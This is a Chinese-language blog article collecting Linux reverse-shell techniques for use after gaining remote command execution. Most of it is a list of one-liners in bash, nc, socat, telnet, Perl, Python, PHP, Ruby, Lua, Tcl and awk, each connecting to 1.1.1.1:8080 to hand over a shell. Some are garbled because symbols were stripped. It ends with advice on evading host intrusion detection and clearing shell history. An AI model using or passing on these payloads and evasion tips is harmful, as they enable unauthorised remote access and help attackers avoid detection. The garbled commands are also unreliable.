共計 3511 個字符,預計需要花費 9 分鐘才能閱讀完成。
這期內容當中丸趣 TV 小編將會給大家帶來有關 Linux 下內網反彈技巧是什么,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
通常,在做滲透的時候會“運氣好”,碰到某些應用上存在遠程命令執行漏洞,近來由于 java 反序列化和二進制類漏洞的層出不窮,也加持著這種漏洞越發增多。
一般來說,靠譜點的公司都不會將應用服務器直接對外,而是通過代理轉發或映射等方式對外,當可以執行命令的服務器能夠訪問公網(這個要看具體情況,比如需要加載公網資源或者其他需求)時,反連技巧就會派上用場。
反彈技巧總結
1、NC 反彈
Nc 1.1.1.1 8080 -e /bin/bash
2、Bash-socket 反彈
/bin/bash -i /dev/tcp/1.1.1.1/8080 0 1 2 1
3、Shell-socket 反彈
a) exec 2 0 196; exec 196 /dev/tcp/1.1.1.1/8080; sh 196 196 2 196 b) exec 5 /dev/tcp/1.1.1.1/8080 cat 5 | while read line; do $line 2 5 done[分兩句執行]
4、文件管道 -nc/telnet 反彈
a) rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2 1|nc 1.1.1.1 8080 /tmp/f b) rm /tmp/backpipe; mknod /tmp/backpipe p;/bin/bash 0 /tmp/backpipe | nc 1.1.1.1 8080 1 /tmp/backpipe c) rm /tmp/backpipe; mknod /tmp/backpipe p telnet 1.1.1.1 8080 0 /tmp/backpipe | /bin/bash 1 /tmp/backpipe
5、Bash-telnet 反彈
telnet 1.1.1.1 8080 | /bin/bash | telnet 1.1.1.1 9090 [另一個端口]
6、Socat 反彈
socat tcp-connect:1.1.1.1:8080 exec: bash -li ,pty,stderr,setsid,sigint,sane
7、腳本反彈
a) Perl 反彈 1) perl -e use Socket;$i= 1.1.1.1 $p=8080; socket(S,PF_INET,SOCK_STREAM,getprotobyname( tcp)); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN, S open(STDOUT, S open(STDERR, S exec( /bin/sh -i}; 2) perl -MIO -e $p=fork; exit,if($p); $c=new IO::Socket::INET(PeerAddr, 1.1.1.1:8080 STDIN- fdopen($c,r); $~- fdopen($c,w);system$_ while ; b) Python 反彈 python -c import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((1.1.1.1 ,8080)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([/bin/sh , -i]); c) PHP 反彈 php -r $sock=fsockopen(1.1.1.1 ,8080); exec(/bin/sh -i 3 3 2 3 d) ruby 反彈 ruby -rsocket -e f=TCPSocket.open(1.1.1.1 ,8080).to_i; exec sprintf(/bin/sh -i %d %d 2 %d ,f,f,f) 2) ruby -rsocket -e exit if fork; c=TCPSocket.new(1.1.1.1 , 8080 while(cmd=c.gets); IO.popen(cmd, r) {|io|c.print io.read}end e) lua 反彈 lua -e require(socket require( os t=socket.tcp(); t:connect(1.1.1.1 , 8080 os.execute( /bin/sh -i 3 3 2 3 f) tcl 反彈 echo set s [socket 1.1.1.1 8080]; while 42 { puts -nonewline $s shell flush $s; gets $s c; set e exec $c if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s; | tclsh g) awk 反彈 awk BEGIN {s = /inet/tcp/0/1.1.1.1/8080 while(42) { do{ printf shell | s; s | getline c; if(c){ while ((c | getline) 0) print $0 | s; close(c); } } while(c != exit) close(s); }} /dev/null
8、二進制程序反彈
Socket 程序 + 命令執行,詳見 metasploit。
以上僅是個人在滲透中使用過的反彈技巧。
雜談
市面上反彈 shell 的腳本和程序非常多,拿 metasploit 來說,可以生產上百種 shell, 但解碼以后無非以上幾種,有趣的時候 metasploit 生成的無論是腳本反彈程序還是二進制反彈程序多數都是自己實現了 system_call,而不是調用系統 bash 或命令之類,看來做的還是很良心的。
值得一提的是,由于大型甲方公司都會有 HIDS 防護,目前已知的 HIDS,要么修改了 bash,要么劫持 glibc,要么修改系統底層(這種可能性較低,出問題的幾率大)。
當你覺得可以反彈 shell 的時候一定要提前識別好環境,不然執行了一個 bash ndash;i 或 nc,很有可能直接被 hids 一波帶走。
比較推薦使用 shell 內置反彈或腳本類的反彈 shell 程序,一般的 hids 不會記錄,非常不建議調用系統 bash 命令產生反彈,起碼.bash_history 會妥妥把你出賣掉。
內網 shell 反彈無論在滲透還是在反滲透中都是一個繞過不開的話題,關于反彈 shell, 其中有幾個有趣的問題:
1. 反彈 shell 的理解:
內網 shell 反彈的本質是與公網服務器建立連接,并能將公網服務器傳輸過來的命令執行,并將結果返回,因此反彈 shell 涉及兩個過程網絡建立 + 命令執行,這兩個過程都是衡量反彈功能的標準,網絡建立要求復雜加密(如 msf: meterpreter_reverse_https 等),命令執行則要求盡可能繞開 hids 和相關記錄。
2. 交互式 shell:
交互式 shell 是 shell 最常見的一種,交互式 shell 區別非交互式 shell*** 的就是加載了環境變量,交互式 shell 的使用和在終端 terminal 中幾乎一致。一般來說,遠程命令執行反彈出來僅僅是實現了一個非交互式 shell。從非交互式 shell 升級到交互式 shell, 一個最簡單的方式就是用 python 腳本 pty.spawn(“/bin/bash”)
3. 交互式 shell 在實際滲透過程中未必比非交互式 shell 好,因為有經驗的甲方都會對環境變量、shell 終端加載文件如.bashrc、bash_profile 等進行安全處理,直接提升到交互式 shell,觸發 HIDS 告警的可能性較高(當然并非絕對)。
(Ps: 如果你使用別人的工具,反彈了 shell,卻不清楚是不是交互式 shell,一個簡單的方法就是執行 history 和 set 命令,如果都有正常返回,那你就要當心了,你可能獲取了一個交互式 shell,盡快清除 history 吧。)
上述就是丸趣 TV 小編為大家分享的 Linux 下內網反彈技巧是什么了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注丸趣 TV 行業資訊頻道。